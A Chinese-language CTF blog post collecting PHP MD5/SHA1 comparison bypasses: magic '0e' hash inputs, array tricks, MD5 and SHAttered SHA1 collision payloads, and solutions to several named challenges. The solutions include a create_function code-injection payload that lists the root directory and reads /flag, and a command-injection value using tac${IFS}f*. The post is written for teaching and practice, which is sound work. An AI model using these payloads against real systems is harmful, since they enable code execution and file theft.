Web入门-PHP中MD5与SHA1绕过
Web入门-PHP中MD5与SHA1绕过
基础知识
弱比较绕过
PHP将哈希字符串开头为0e的解释为0。
md5加密后0e开头的:
1 | QLTHNDT |
sha1加密后0e开头的:
1 | aaroZmOk |
双重md5加密后0e开头的:
1 | 7r4lGXCH2Ksu2JNT3BYM |
数组绕过/强比较绕过
md5
与sha1
无法处理数组,都返回NULL。payload:
1 | ?a[]=1&b[]=2 |
MD5碰撞
1 | if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){ |
当强制转换为字符串时,数组都会变为“Array”。
payload:
1 | #1 |
SHA1碰撞
两个不同文件sha1相同:
1 | https://shattered.it/static/shattered-1.pdf |
payload:
1 | a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 |
$a=md5($a)型
“0e215962017”的md5值也是0e开头。
NaN和INF
非数字和无穷大,但var_dump后都为double。他们与除了true的任何数据类型比较均为false,甚至NAN===NAN
为false,例外:md5('NaN')===md5('NaN')
为true。
MD5截断爆破
例如求:
1 | substr(md5(?),0,5)==='8ffb1' |
爆破脚本:
1 | import hashlib |
SHA256截断爆破
例如求:
1 | substr(sha256(?),0,5)==='5625f' |
爆破脚本:
1 | import hashlib |
做题
[BJDCTF 2020]easy_md5
md5
函数第二个参数默认false表示返回32位十六进制字符串结果,true标识返回16位二进制格式不可读。
当字符串“ffifdyop”经过md5加密后为“’or’6<乱码>”,尝试绕过:
1 | http://node4.anna.nssctf.cn:28478/leveldo4.php?password=ffifdyop |
window.location.replace
函数表示重定向到新页面。
第二关md5弱比较,尝试科学计数法:“QNKCDZO”和”240610708”。
1 | http://node4.anna.nssctf.cn:28478/levels91.php?a=QNKCDZO&b=240610708 |
第三关md5强比较,尝试数组绕过:
1 | param1%5B%5D=1¶m2%5B%5D=2 |
exp:
1 | import requests |
[NSSCTF 2022 Spring Recruit]babyphp
payload:
1 | a[]=1&b1[]=2&b2[]=12&c1=QLTHNDT&c2=QNKCDZO |
[NISACTF 2022]level-up
MD5转string强相等payload:
1 | array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 |
SHA1转字符串强相等payload:
1 | array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 |
不能有下划线,则改为空格,自动转为下划线:
1 | /level_level_4.php?NI+SA+=txw4ever |
最后一关为create_function
绕过,使用payload:
1 | a=\create_function&b=return 'mmkjhhsd';}var_dump(scandir('/'));/* |
这个payload相当于(\符号对函数执行无影响):
1 |
|
看到flag,直接读:
1 | a=\create_function&b=return 'mmkjhhsd';}var_dump(file_get_contents('/flag'));/* |
[SWPUCTF 2022 新生赛]奇妙的MD5
ffifdyop、?x=QNKCDZO&y=240610708、wqh[]=1&dsy[]=2
[GDOUCTF 2023]受不了一点
弱比较类型不需要相同,114514与114514a弱相等。
1 | http://node4.anna.nssctf.cn:28461/?aaa=114514&bbb=114514a |
[WUSTCTF 2020]朴实无华
1 | http://node5.anna.nssctf.cn:28749/fl4g.php?num=1e10&md5=0e215962017&get_flag=tac${IFS}f* |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 The Blog of Monoceros406!